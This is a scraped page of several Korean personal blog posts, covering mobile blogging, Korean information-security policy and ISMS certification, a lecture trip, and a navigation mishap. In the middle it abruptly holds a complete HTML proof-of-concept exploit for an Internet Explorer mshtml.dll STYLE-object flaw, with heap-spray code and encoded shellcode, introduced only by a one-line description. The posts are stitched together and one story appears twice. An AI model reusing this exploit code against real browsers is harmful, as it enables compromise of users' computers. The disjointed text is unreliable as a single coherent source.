며칠전에 네이버가 모바일 블로깅을 할수 있도록 지원 된다는 이야기가 있었습니다. 내용을 살펴본다 본다 하다가 마침 어제 한 지인을 만나고 집에 들어 갈때였습니다.
버스를 기다리는데 버스가 오질 않아 휴대폰을 만지작 거리다가 사진을 찍고 바로 네이버 블로그에 올려 보자 라는 생각이 문득 났습니다.
그래서 버스 기다리면서 찍은 사진 바로 롯데 백화점이었습니다. 마침 겨울 분위와 크리스마스 분위기를 내는 듯 하였습니다. 그것을 바로 블로그에 올려 보았습니다.
휴대폰으로 네이버 블로그 접속
어제 올린 블로그 모습
휴대폰으로 네이버 블로그에 접속을 하여 어제 올린 블로그를 보았습니다. 이젠 블로그도 마음대로 외부에서 관리할수 있게 되었습니다. 아마도 이런 현상은 스마트 폰이 대거 출시되면 더욱 가속화 되리라 생각을 합니다..
그럼 어떻게 블로깅 하는지 알려 드리겠습니다.
일반적으로 문자 보내는 것과 같습니다. 다만 받는 전화번호에 #1111 을 적습니다. 이것이 네이버와 LGT가 휴대폰 인증을 받아 연동하는 방법인가 봅니다.
그리고 나서 자신이 포스팅 하고자 하는 문자와 사진을 첨부하여 전송 버튼을 누르기만 하면 끝입니다. 물론 그 사전에 네이버 블로그에서 자신이 올리고자 하는 카테고리를 미리 설정해 줄수 있습니다.
그러면 모바일 블로깅은 항상 그 카테고리에 포스팅이 되게 되는거죠..^^;;
이렇게 포스팅한 것에 대한 댓글을 문자로도 받을수 있습니다. 참 좋은 세상입니다. 꼭 댓글을 알아야 하는 포스팅에서는 알림표시를 잘 하면 외부 활동이 많은 분들에게 아주 유용하게 사용이 되겠지요...
특히 연말 모임같은 것을 블로그에 포스팅하고 참석자는 연락처등 댓글을 달아 놓으라고 하면 굳이 모니터만 쳐다보고 있지 않아도 외부 밖에 일을 하면서도 몇명이 참석 할것인지에 대한 사항도 실시간으로 알수 있을꺼 같습니다.
그 외에도 잘 이용하면 많이 활용이 될듯합니다.
가운데 빨간 테두리 되어진 부분이 어제 버스기다리면서 휴대폰으로 사진을 찍고 추가 부연설명 몇자 쓰고 나서 바로 업로드 한 것입니다..참 세상 많이 좋아졌네요...
오즈 무한자유 데이터 요금제 와 빅3팩 100
이렇게 그동안 휴대폰에서 인터넷이라면 돈 많이 나올까봐 걱정하면서 제대로 사용해 보지 못했던 것을 월 6천원의 오즈 무한자유 데이터 요금제와 빅3팩 100 옵션을 이용하여 문자를 100건 무료 보낼수 있는 부가서비스를 사용하고 있기 때문입니다.
지금까지는 잘 활용하지 못하고 있었는데 블로그 습성(?)은 이러한 부분을 잘 충족 시켜주는 것 같습니다. 앞으로 더욱 데이터 요금제에 관심을 가지게 될듯합니다. 그중에서 가장 저렴한 오즈 무한자유로 인터넷을 맘껏 즐길수 있네요..
보통, 한달에 저의 경우는 문자도 그리 많이 보내는 편도 아니고 인터넷도 그리 많이 쓰는 편이 아니라서 한달씩 써 보니까 주어진 무료 사용량에 턱없이 모자라네요.. 더 열심히 콘텐츠 소비를 좀 해야 겠습니다. 오즈에서도 더 많은 풍부한 콘텐츠 제공을 해 주시길 바라겠습니다...
<!--
securitylab.ir
K4mr4n_st (at) yahoo (dot) com [email concealed]
-->
<!DOCTYPE HTML PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<HTML xmlns="http://www.w3.org/1999/xhtml">
<HEAD>
<script>
function load(){
var e;
e=document.getElementsByTagName("STYLE")[0];
e.outerHTML="1";
}
</script>
<STYLE type="text/css">
body{ overflow: scroll; margin: 0; }
</style>
<SCRIPT language="javascript">
var shellcode = unescape("%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u
0120%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u
543B%u0424%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u
89EB%u245C%uC304%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u
0868%u09EB%u808B%u00B0%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%u
7E68%uE2D8%u6873%uFE98%u0E8A%uFF57%u63E7%u6C61%u0063");
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<4000; x++) memory[x] = block + shellcode;
</script>
</HEAD>
<BODY onload="load()">
</BODY>
</HTML>
알려진 바로는 Microsoft HTML viewer (mshtml.dll) 와 internal style sheet (CSS/STYLE) object via document.getElementsByTagName() method 를 공격하는 것으로 나타났다. (관련글 링크 : 여기)
정보보호 인력 양성에 대한 예산 편성이 안되어 있다는 것이 주요 핵심입니다. 정보보호와 보안에 관심을 가지고 있는 한 사람으로서 많은 실망을 가지게 됩니다.
보안에 대한 인식은 "냄비" 보다는 "뚝배기" 근성으로 되어야
7.7 DDoS 공격이 일어난후 약 한달이 지난후에 벌써 사람들 뇌리 속에서 멀어지는게 아니냐는 우려의 목소리가 나왔고 업계에서는 의례 그렇듯이 시간이 지나고 나면 또 잠잠해 지는거 ..당연한거 아니냐는 듯이 받아 들이고 있는 경우도 있었습니다.
하지만 그 시기가 너무 짧아서는 안될 것입니다. 이제 갓 4개월 정도밖에 안되었는데 정보보호종합대책이라고 해서 각종 보안세미나에서 중장기 발표를 하면서 내년 인력 양성에 대한 예산도 편성이 안되었다는 말은 정말 실망스럽기 그지 없습니다.
아직도 우리나라 정보보호에 대한 인식은 멀었다고 생각이 드네요...
당장 사건이 일어나서 호들갑 떠는 것보다는 뚝배기처럼 꾸준하게 관심을 가지고 사이버안전에 만전을 기해야겠습니다. 국가 정책 운영하시는 분들 노고야 알고 있지만, 조금은 더 분발하셔서 정보보호 선진국 진입으로 가는데 총력을 기울였으면 하는 바램을 갖어 봅니다.
전방에서 철책만 잘 막는다고 해서 국가 안전이라 말 할수 없습니다. 이제는 국가 기밀이나 국가 주요 시설 및 담당자 PC에서 정보를 빼 가는 세상에 살고 있습니다. 그러면서 당하고 나면 어떻게 어떻게든 무마시고 또 당하고, 같은 일을 반복하여 하는 결국 "같은 행동을 하면서 다른 결과를 바라는 것은 미친짓' 이라는 말을 어느 책에서 본 기억이 납니다..
두번다시 같은 행동을 하지 않았으면 하는 바램을 가져봅니다. 아예 초기부터 3000명 사이버 보안관 양성은 무리였던 걸까요? 너무 의욕만 앞서기 보다 관련 전문가들과 상의를 하여 충분히 고려하여 공수표를 남발하지 말았으면 하는 바램이 듭니다. 보안에 입문하려던 어린양들이 희망에 들떠 있다가 허파에 바람빠지는 소리가 여기까지 들리기 때문입니다. @엔시스.
행정안전부는 최근 전자정부서비스를 제공하는 행정기관의 지속적인 정보보호수준을 점검·관리하기 위해 정보보호관리체계(ISMS) 인증제도를 운영중인 한국인터넷진흥원(KISA)과 함께 ‘G-ISMS’ 를 만들었다. 이르면 내년부터 전자정부서비스를 제공하는 행정기관을 대상으로 의무화한다는 방침이다.
민간에서 이루었졌던 KISA ISMS 인증제도가 공공기관까지 적용되게 되었습니다. 이는 바람직한 내용이라 생각을 합니다. 필자가 ISMS 인증심사원 활동을 하면서 느낀 것은 바로 정보보호에 대한 체계가 바로 서 있지 않다라는 것입니다.
정보보호관리체계라는 것은 하나의 프로세스이며 잘 처음 수립하기가 어려워서 그렇지 한번 수립이 되면 그 기준에 따라 잘 이행을 하고 그에 따른 증적 사항을 남겨 놓으면 됩니다.
대부분 이러한 프로세스 정립이 안되어 있다 보니까 일시적인 보안 솔루션 도입에만 그치는 경우가 많습니다. 그리고 정보보호에 대한 대책을 강구 하였다라고 할수 있겠지만 이러한 경우 일정 시간이 지나면 여러가지 문제점들이 발생이 됩니다.
그것은 보안솔루션 도입도 중요하겠지만 실제 그것을 관리하고 운영하는 관리적인 보안이 더 중요할수도 있다는 것입니다. 따라서 꾸준히 관리하고 이행 점검을 해야 하는 것입니다.
이런 일련의 모든 활동을 문서와 절차에 따라 움직이는 프로세스를 정보보호관리체계(ISMS)라 하겠습니다.
우선 내년에 시험적으로 몇군데 하고 나서 의무화 한다는 방침이지만 보안적인 측면에서 보았을땐 아주 중요한 일이라 하겠습니다.
ISMS (정보보호관리체계)는 필자는 이렇게 비유하고 싶습니다.
흐트러지 창고나 방안을 어느날 시간적 여유를 가지고 차분히 앉아서 물건을 정리하면서 어떤것이 나에게 소중하고 어떤것이 버릴것인지를 판단하고 목록을 만들어 잘 정리하여 추후에도 그 목록과 창고에 들어서는 어떻게 돌아가는지를 잘 알수 있는 일련의 활동과 같은 상황이라 생각합니다.
흔히, 보통의 경우 어떠한 것이 우리 조직에 자산으로 잡혀 있는지 또는 어떠한 자산이 위험에 빠졌을때 그 우선순위가 있는지를 대부분 관리를 하지 않고 있습니다.
하지만 이러한 정보보호관리체계를 수립하게 되면 자산에 대한 위험도라든지, 위험평가등을 하여 위험순위가 높은것부터 구분하여 위협으로부터 위험을 감소시키는 대책을 세우는 것입니다. 그리고 KISA ISMS의 경우 15개 통제항목에 446개 세부항목을 가지고 있어 주어진 체크리스트에 의하여 관리항목이 통제가 되고 있습니다.
이러한 일련의 정보보호에 대한 체계 수립과 활동이 공공분야 적용이 된다면 담당자는 조금 힘이 들지 몰라도 그 조직에 대한 보안성과 정보보호에 대한 관리는 한결 수훨하고 체계적으로 운영이 될 것입니다.
앞으로 더 활성화 되기를 기대하면서 공공기관 'G-ISMS' 제도가 정착되기를 기대해 봅니다. @엔시스.
자주 이용하는 편은 아니지만 예전에 신문에서 가끔 보았던 운세풀이....이제는 세월이 모두 휴대폰으로 옮겨지고 있군요...오즈 사주카페라고 해서 오즈추천사이트에 올라와 있네요..
오즈 추천사이트
오즈 메인화면에 사주풀이라고 하여 올라와 있습니다.
후후..신문에서 사주 풀이, 운세 보는 것과 마찬가지로 이제는 휴대폰에서 간단한 오늘의 운세를 볼수 있네요...참 세상 많이 좋아졌습니다..
이제는 점점 모바일로 옮겨지고 있다는 생각이 듭니다. 이러한 현상은 앞으로 가속화 되겠지요. 이 모든것이 데이터 정액요금제를 사용하기 때문에 가능한 것이지요.. 데이터 요금 제일 싼 곳이 바로 LGT 무한자유 요금제입니다...1달에 1G 용량을 주는데 늘 남아서 이렇게 운세도 보고 있습니다.
재물운이 있는데 몸 조심 하랍니다...오늘 하루는 몸 조심해야겠습니다...가끔 심심풀이로 오늘의 운세를 보는 것도 재밌겠군요...
얼마전 광주 출장이있어 광주로 갔었다. 부산에서 출발 할때는 해당 목적지까지 잘 갔었지만 일을 마치고 광주에서 부산으로 오는게 문제였다...부산으로 향하려고 하다가 초행길이라서 네비 찍고 그대로 따라 오긴 했는데 중간에 한번 길을 잘못들어 가 버렸다. 하는수 없이 네비는 경로 재설정을 하더니 길 안내를 해서 무작성 네비만 믿고 따라갔다.
그런데 한참을 가다보니 왠지 외곽으로 빠지는 듯한 느낌이 들었다. 분명히 근처에서 IC를 타야 고속도로로 빨리 가는데 이상한 국도로 빠지기 시작했다. 불안감이 엄습해 오는 순간이었다. 중간에 오다보니 전남대병원 뭐..이런 표지판도 보였던 기억이 난다.
이내 나온곳이 전남 화순군 화순읍..부산까지 가야할 거리는 229KM 까마득하다...
오면서 읍내로 빠지고 국도로 들어오다보니 점점 불안해진다. 그것은 차량 기름이 얼마 없었기 때문이다. 국도에는 시간이 늦어 버리면 주유소 문을 닫아 버리고 주유소도 그리 흔치 않기 때문이다.
그렇다고 광주도 다시 돌아 갈수도 없는 상황...그래서 네비를 믿기로 했다..갈때까지 가보자..지금 시간이 7시 50분 부산도착 예정시간이 11시27분 ..가긴 간다는 이야기니까..가 보자
얼마쯤 달렸을까 네비에서도 보이듯이 주변에 건물이나 인적이 없다. 온통 깜깜하다 오로지 보이는 건 작은 국도 길 하나 ..이거 가면서 점점 불안해진다. 네비가 정말 제대로 나를 안내해 줄것인가?
차에 기름은 점점 떨어지는거 같고..822번 지방도로 들어가는데 어디까지 가야 고속도로를 만날수 있는지 알수 없다. 네비는 늘 잘못 들어간 길은 그 시점에서 다시 GPS로 경로 설정을 다시하기 때문에 어떨 경우엔 아주 둘러서 목적지를 안내하는 경우도 있기 때문이다.
도착시간이 11시50분으로 늘어났다. 지방도로이다보니 주변이 깜깜하고 오고가는 차량도 없어 아주 한적한 시골길을 달리고 있는 것이다. 아..정말 이길이 맞는 것인가 너무 많이 와서 되돌아 갈수도 없다. 끝까지 네비를 믿어 보자..
그 사이에서도 국도에서 길을 잘못 들어 아래길로 내려갔다 다시 올라갔다. 하였다..도저히 안되겠다 싶어 이번에 네비에 부산까지 경로를 취소하고 다시 찍었다. 혹시 더 빠른 길을 다시 안내해 줄지 모르겠다는 생각에서 하였다.
아마 야간에 초행길에 네비만 믿고 따라가다 길 잃어버린 사람은 아마도 많이 공감할것이다. 그것고 아주 시골 깜깜한 국도길..가도 가도 끝이 없는 온통 사방이 깜깜하고 내 자동차 불빛과 네비를 나타나는 네비의 불빛만 있는 한적한 길을 운전하고 있는 나.
그러다 어렴풋하게 나타난 주유소 하나.
아..얼마나 반가운지..보니까 불이켜져 있어 그냥 조금 지나치다가 아무래도 더 헤멜 경우를 대비하여 기름을 넣어야만 했다. 그래서 기름 주유소로 차를 몰았다.
그러더니 거기 사장님이 나오신다. 약간 젊은 사장님이었는데 , 우선 기름부터 넣어야 하기에 이렇게 말했다.
" 사장님, 지금 차 기름 넣을수 있나요? "
"네..가능합니다..얼마 넣어 드릴까요?
"음..우선 2만원만 넣어주세요?"
여기까지 일상적인 대화를 하려다 내가 여기서 부산까지 가려면 어떻게 가야 하나요? 초행길인데 네비 믿고 오다가 여기까지 왔는데 아주 깜깜한게 무섭네요..했더니
" 하하..여기가 밤에는 좀 그렇습니다. 가끔씩 네비가 오락가락 하는경우가 있습니다" 이러면서
대뜸
"커피한잔 드릴까요? " 하시는 것이다. 나는 그말에 잠시 화장실도 다녀 올겸 해서 감사하다라고 말하고 차에서 내렸다. 아마도 이런 한적한 야간 국도에 사람을 만나기도 어려웠고 기름까지 넣어주니 고마웠던 모양이다. 그리고 척 보기에 내가 길을 헤메고 있던 것을 알았던것은 아닐까 생각했다.
아무튼 커피 한잔을 받아 마시고 지금 부산으로 가야 하는데 어떻게 가야 하는지를 물어 보았다. 그 사장님은 자세히 알려주면서
"약 14KM 정도 가면 주암IC가 나옵니다..거기서 IC를 타면됩니다."
즉, 근처에서 고속도로 IC가 있어서 고속도로를 탈수 있다는 것이다...아...네비보다 그 한마디가 더 확신으로 다가 오는 것이 아닌가?
그때 아마도 그 사장님이
" 아..어쩌나 길을 잘못 들어와서 여기서 고속도로 IC로 갈려면 1-2시간을 가야 하는데..한참 잘못 오셨습니다." 라고 말했다면 난 아마도 이 멍청한 네비야 하며 아주 부셔버렸을 것이다.
갈길이 멀기에 잠깐 인사를 하고 명함을 한장 건네 주었다., 그리고 혹시 부산에 오실 일이 있으면 연락한번 달라고 하며 그 주유소를 벗어났다. 그려면서 이것도 추억거리일 것 같아서 몇장의 사진을 찍었다. 아마도 그 사장님은 차가 가다가 갑자기 서서 밖에 나와 사진찍고 하니까 혹시 의아해 했을지도 모르겠다..하지만 블로거 본능은 어쩔수 없다.. 사장님 주유소 잘 되길 바라겠습니다.
지나가는 주유하시는 운전자분들에게 따뜻한 커피 한잔 건네시는 그 마음이면 주유소가 잘 될듯 합니다..아마도 전남 화순군 동북면인가 822번 지방도 가다가 행운휴게소, 유천주유소가 있으면 기름도 좀 넣으시고 해 주시면 좋겠네요..아마도 너무 한적해서 그 사장님도 사람을 만나면 반가울듯 하였습니다.
그 사장님 말씀대로 약 10여 KM 가다보니 주암IC가 나왔다. 역시 네비도 똑똑하게 안내를 하고 있었던 것이다. 단지 내가 그 네비를 못 믿었던 것이다.
주암IC 통과시간이 8시40분
그때부터 다시 호남고속도로로 진입을 하여 부산까지 무사히 오게 되었다. 초행길에 어쩔수 없이 믿고 사용하는 네비게이션 그러나 모로가든 서울만 간다는 식으로 안내 하지는 않을까 하는 불안감... 하지만 잘못 안내시에는 어쩔수 없이 믿고 따라가야만 하는 안내자..네비게이션.
나는 네비를 믿지 못했고, 네비는 아주 한적한 지방국도 그 깜깜한 11월 늦은 가을에 전남 화순군 어떤 시골 읍내를 지나 한적한 지방도를 지나고 있노라니 정말 네비를 믿어야 하나 말아야 하나 하는 생각이 들었다. 그도 그럴것이 차량에 기름이 얼마 없었기에 더욱 조바심이 났었다.
네비에 울고 네비에 웃었지만, 아마도 네비따라 특히 야간에 잘못 길을 들어 헤메었던 분들은 많은 공감을 하지 않았을까 하는 생각이 든다. 따라서 지금처럼 먼길 떠날때에는 기름이라도 빵빵하게 넣고 다녀야겠다. 아주 좋은 추억으로 남을꺼 같고 이번 광주 출장길은 기억에 남을꺼 같다.
덕분에 전남 화순군 화순읍과 기타 그 알지 못하는 지명이 있는 동네에서 길을 잘못들어 이길 저길 다니면서 네비 경로를 몇번이나 재설정하면서 다닌 기억은 길이길이 남을꺼 같다. 운전자들이여 네비를 끝까지 믿어보자.
마지막 집에 와서 미터기를 보니 오늘만 520km 운전만 7시간을 한거 같다. 그래도 그 주유소 사장님 말이 기억이 난다. 그래도 이 국도를 타고 왔기에 30-40분은 단축한 것입니다. 동광주IC를 거치면 쭉 둘러 오기때문에 조금 더 늦죠..
그말대로 11시 50분까지 도착시간이었던 것이 평균 시속100Km로 주행하였기에 딱 1시간 단축해 오기도 하였다..아이리스는 이미 끝나버렸다. 젠장.
어제는 전라남도 지방공무원 교육원에 3시간 강의를 하러 다녀 왔다. 1시간은 개인정보보호에 대한 강의와 2시간은 이러한 개인정보를 보호 하기 위한 실습을 해 달라는 요청이었다.
9급부터 6급까지 다양한 지자체에 계신분들을 대상으로 하다보니 조금은 눈높이를 맞추어 교재를 만들었다.
전남도지방공무원 교육원은 광주에 위치하고 있어 부산에서 하는수 없이 자가용을 이용하기로 했다. 그것이 대중교통 이용하고 오는 시간 가는시간을 제외하면 훨씬 유리할 것으로 생각이 되었다.
광주까지는 3시간 소요.
운전하면서 가는 것은 초행길이라 가끔씩 이정표를 찍어 보았다. 광주까지는 부산에서 남해고속도로 --> 호남고속도로를 쭈욱 타고 가기에 3시간동안 직진만 하면 될꺼 같다. 부산에서 광주 가거나 광주에서 부산으로 자가용 이용하는 사람들은 참고 하면 되겠다. 톨비는 10100 정도 나온다.
남해고속도로 초입
비가 올듯말듯한 날씨 먼산에서 안개가 걷히고 있다.
순천방향 진주분기점
광양제철소부근에서 비가 내린다.
광주가 눈에 들어온다.
1시간 이론 강의할 강의장 점심시간을 이용하여 잠시 연수하시는 분들이 사용하고 있어서 미리 사전에 셋팅하지 못하고 정시가 되어서야 셋팅을 하였다.
개인정보보호에 대한 강의는 지루한 경우가 있어서 동영상을 준비했는데 설치 pc에는 코덱이 안되어서 준비해간 노트북으로 셋팅을 해야만 했다. 강연자는 꼭 자신이 사전에 잘 할수 있도록 만반의 준비를 해야 한다. 안그러면 낭패를 볼수도 있다.
진행자분이신데 사진이 흔들리는 바람에 적당이 모자이크 된것 같다.
사진기가 똑딱이다보니 역시 실내에선 한계가 있다.
1시간 강의는 이렇게 끝나고 나머지 실습 2시간 강의를 하였는데 모두들 아주 참여를 참해 주셨다. 앞에 강의하는 사람도 힘이나서 열정적으로 강의를 했었다.
보통 실습시간에 꼭 딴짓하시는 분들이 있는데 가끔씩 점검을 해 보니 그래도 제법 잘 따라해 주셔서 아주 수업분위기는 좋았다. 제 수업에 참여 해 주셨던 301호실 계신 주사님들 감사드립니다..
강의가 끝마치고 나서 광주지역에 있는 카페 회원이나 트위터 사용자들과 긴급 벙개를 가질려고 하였지만 모두들 긴급 벙개라 스케쥴이 안되어 그냥 금남로 한 커피숍에서 잠시 인터넷을 하였다.
모 커피점..인터넷이 잘되었다.
이렇게 광주 강의는 이렇게 잘 마무리 하였다. 단지, 자가용 이용하니까 운전때문에 조금 피곤하였다..
#1. 에피소드 -네비에 웃고 네비에 울고
강의를 마치고 부산으로 향하려고 하다가 초행길이라서 네비 찍고 그대로 따라 오긴 했는데 중간에 한번 길을 잘못들어 가 버렸다. 하는수 없이 네비는 경로 재설정을 하더니 길 안내를 해서 무작성 네비만 믿고 따라갔다.
그런데 한참을 가다보니 왠지 외곽으로 빠지는 듯한 느낌이 들었다. 분명히 근처에서 IC를 타야 고속도로로 빨리 가는데 이상한 국도로 빠지기 시작했다.
이내 나온곳이 전남 화순군 화순읍..부산까지 가야할 거리는 229KM 까마득하다...
오면서 읍내로 빠지고 국도로 들어오다보니 점점 불안해진다. 그것은 차량 기름이 얼마 없었기 때문이다. 국도에는 시간이 늦어 버리면 주유소 문을 닫아 버리고 주유소도 그리 흔치 않기 때문이다.
그렇다고 광주도 다시 돌아 갈수도 없는 상황...그래서 네비를 믿기로 했다..갈때까지 가보자..지금 시간이 7시 50분 부산도착 예정시간이 1시27분 ..가긴 간다는 이야기니까..가 보자
얼마쯤 달렸을까 네비에서도 보이듯이 주변에 건물이나 인적이 없다. 온통 깜깜하다 오로지 보이는 건 작은 국도 길 하나 ..이거 가면서 점점 불안해진다. 네비가 정말 제대로 나를 안내해 줄것인가?
차에 기름은 점점 떨어지는거 같고..822번 지방도로 들어가는데 어디까지 가야 고속도로를 만날수 있는지 알수 없다. 네비는 늘 잘못 들어간 길은 그 시점에서 다시 GPS로 경로 설정을 다시하기 때문에 어떨 경우엔 아주 둘러서 목적지를 안내하는 경우도 있기 때문이다.
도착시간이 11시50분으로 늘어났다. 지방도로이다보니 주변이 깜깜하고 오고가는 차량도 없어 아주 한적한 시골길을 달리고 있는 것이다. 아..정말 이길이 맞는 것인가 너무 많이 와서 되돌아 갈수도 없다. 끝까지 네비를 믿어 보자..
그 사이에서도 국도에서 길을 잘못 들어 아래길로 내려갔다 다시 올라갔다. 하였다..도저히 안되겠다 싶어 이번에 네비에 부산까지 경로를 취소하고 다시 찍었다. 혹시 더 빠른 길을 다시 안내해 줄지 모르겠다는 생각에서 하였다.
아마 야간에 초행길에 네비만 믿고 따라가다 길 잃어버린 사람은 아마도 많이 공감할것이다. 그것고 아주 시골 깜깜한 국도길..가도 가도 끝이 없는 온통 사방이 깜깜하고 내 자동차 불빛과 네비를 나타나는 네비의 불빛만 있는 한적한 길을 운전하고 있는 나.
그러다 어렴풋하게 나타난 주유소 하나.
아..얼마나 반가운지..보니까 불이켜져 있어 그냥 조금 지나치다가 아무래도 더 헤멜 경우를 대비하여 기름을 넣어야만 했다. 그래서 기름 주유소로 차를 몰았다.
그러더니 거기 사장님이 나오신다. 약간 젊은 사장님이었는데 , 우선 기름부터 넣어야 하기에 이렇게 말했다.
" 사장님, 지금 차 기름 넣을수 있나요? "
"네..가능합니다..얼마 넣어 드릴까요?
"음..우선 2만원만 넣어주세요?"
여기까지 일상적인 대화를 하려다 내가 여기서 부산까지 가려면 어떻게 가야 하나요? 초행길인데 네비 믿고 오다가 여기까지 왔는데 아주 깜깜한게 무섭네요..했더니
" 하하..여기가 밤에는 좀 그렇습니다. 가끔씩 네비가 오락가락 하는경우가 있습니다" 이러면서
대뜸
"커피한잔 드릴까요? " 하시는 것이다. 나는 그말에 잠시 화장실도 다녀 올겸 해서 감사하다라고 말하고 차에서 내렸다. 아마도 이런 한적한 야간 국도에 사람을 만나기도 어려웠고 기름까지 넣어주니 고마웠던 모양이다. 그리고 척 보기에 내가 길을 헤메고 있던 것을 알았던것은 아닐까 생각했다.
아무튼 커피 한잔을 받아 마시고 지금 부산으로 가야 하는데 어떻게 가야 하는지를 물어 보았다. 그 사장님은 자세히 알려주면서
"약 14KM 정도 가면 주암IC가 나옵니다..거기서 IC를 타면됩니다."
즉, 근처에서 고속도로 IC가 있어서 고속도로를 탈수 있다는 것이다...아...네비보다 그 한마디가 더 확신으로 다가 오는 것이 아닌가?
그때 아마도 그 사장님이
" 아..어쩌나 길을 잘못 들어와서 여기서 고속도로 IC로 갈려면 1-2시간을 가야 하는데..한참 잘못 오셨습니다." 라고 말했다면 난 아마도 이 멍청한 네비야 하며 아주 부셔버렸을 것이다.
갈길이 멀기에 잠깐 인사를 하고 명함을 한장 건네 주었다., 그리고 혹시 부산에 오실 일이 있으면 연락한번 달라고 하며 그 주유소를 벗어났다. 그려면서 이것도 추억거리일 것 같아서 몇장의 사진을 찍었다. 아마도 그 사장님은 차가 가다가 갑자기 서서 밖에 나와 사진찍고 하니까 혹시 의아해 했을지도 모르겠다..하지만 블로거 본능은 어쩔수 없다.. 사장님 주유소 잘 되길 바라겠습니다.
지나가는 주유하시는 운전자분들에게 따뜻한 커피 한잔 건네시는 그 마음이면 주유소가 잘 될듯 합니다..아마도 전남 화순군 동북면인가 822번 지방도 가다가 행운휴게소, 유천주유소가 있으면 기름도 좀 넣으시고 해 주시면 좋겠네요..아마도 너무 한적해서 그 사장님도 사람을 만나면 반가울듯 하였습니다.
그 사장님 말씀대로 약 10여 KM 가다보니 주암IC가 나왔습니다. 역시 네비도 똑똑하게 안내를 하고 있었던 것입니다. 단지 제가 그 네비를 못 믿었던 것입니다.
주암IC 통과시간이 8시40분
그때부터 다시 호남고속도로로 진입을 하여 부산까지 무사히 오게 되었습니다. 초행길에 어쩔수 없이 믿고 사용하는 네비게이션 그러나 모로가든 서울만 간다는 식으로 안내는 하지만 잘못 안내시에는 어쩔수 없이 믿고 따라가야만 하는 안내자..
나는 네비를 믿지 못했고 네비는 아주 한적한 지방국도 그 깜깜한 11월 늦은 가을에 전남 화순군 어떤 시골 읍내를 지나 한적한 지방도를 지나고 있노라니 정말 네비를 믿어야 하나 말아야 하나 하는 생각이 들었다. 그도 그럴것이 차량에 기름이 얼마 없었기에 더욱 조바심이 났었다.
네비에 울고 네비에 웃었지만, 아마도 네비따라 특히 야간에 잘못 길을 들어 헤메었던 분들은 많은 공감을 하지 않았을까 하는 생각이 든다. 따라서 지금처럼 먼길 떠날때에는 기름이라도 빵빵하게 넣고 다녀야겠다. 아주 좋은 추억으로 남을꺼 같고 이번 광주 출장길은 기억에 남을꺼 같다.
덕분에 전남 화순군 화순읍과 기타 그 알지 못하는 지명이 있는 동래에서 길을 잘못들어 이길 저길 다니면서 네비 경로를 몇번이나 재설정하면서 다닌 기억은 길이길이 남을꺼 같다. 운전자들이여 네비를 끝까지 믿어보자.
보안쪽에 관심이 많으면 처음에 보통 기술적으로 접근을 많이 하게 된다. 우리가 흔히 말하는 엔지니어로 출발을 하게 되는 것이다. 물론 모든 사람이 그렇다는 것은 아니지만 보통 그렇게 출발을 한다. 그렇게 3-4년 정도 기술지원을 지원을 하다보면 회사에 지위도 올라가고 책임과 역할에 비중이 높아진다.
그리고 점차 기술적인 부분보다는 관리적인 부분으로 자연스럽게 넘어가게 되면서 기술에서 멀어지는 경우가 대부분이다. 그렇기에 나이가 들면 기술적인 노하우는 평소에 갈고 닦지 않으면 젊은 엔지니어들에게 뒤쳐지게 마련이다.
그런데 문제는 엔지니어의 경우 기술적 노하우가 우선시 되기에 편협한 시각을 보는 경우가 많다. 그래서 최고의 실력이 우선시 하게 되고 쉽게 타인과 협상시에 자신의 의견을 굽히지 않고 타협하지 않으려는 성향이 강하다. 그것은 곧 자신의 기술을 굽히는 자존심기도 하기 때문이다.
그래서 흔히 듣는 말이 바로 " 엔지니어 마인드" 란 말이다. 사실, 엔지니어들은 그런 말을 들으면 그리 썩 유쾌하지는 않다. 무엇인가 고집스럽고 자기주장이 강하다는 느낌을 풍기는 말 같이 들리기 때문이다. 꼭 자신은 그 엔지니어 마인드 때문에 그렇지 않다라고 말하지만 상대방은 그렇게 보기 때문이다.
또한, 엔지니어는 무엇인가 성과를 이루어도 그다지 그것이 성과지표로 나타나는 경우가 잘 드물다. 분명히 좋은 기술이고 능력있는 엔지니어지만 눈에 확 들어오는 그 무엇인가 2% 부족하다는 느낌이 항상든다. 그래서 조직의 승진에서 밀리는 경우가 많다.
영업 마인드
조직의 꽃은 "영업"이라는 말도 있듯이 기업의 최전선에서 발로 뛰는 이들이 바로 영업맨들이다. 조직에서 최선을 다해 만든 제품을 판매하는 조직이 바로 영업맨들이다. 영업의 경우 자기 제품에 대한 충분한 이해가 있어야 하고 또 여기저기 다니면서 많은 사람들을 만난다.
따라서 영업을 하는 사람들은 그만큼 듣고 보고 느끼는 시야가 넓어지게 마련이다. 나는 사람은 반드시 체험의 동물이라 생각을 한다. 그 사람이 체험해 보지 않고는 절대 그에 상응하는 느낌을 갖지 못한다 생각하는 사람중에 하나이다. 그래서 반드시 체험을 해 보아야 한다. 아마도 방송 프로그램에서도 나오는 그 프로그램이 그래서 장수프로그램으로 가는게 아닌가 하는 생각을 한다.
아무튼, 자신의 제품을 판매를 하려면 간혹, 여러가지 감언이설을 하는 경우도 있다. 자기 제품에 대한 최대장점을 살리고 단점은 말하지 않는 어쩌면 단점을 말할수 없는 그런 애로사항을 가지고 있기도 하다. 모든게 완벽할수는 없다.. 최소한에 판매에 지장이 없는 한도내에서 단점은 감수해야만 한다.
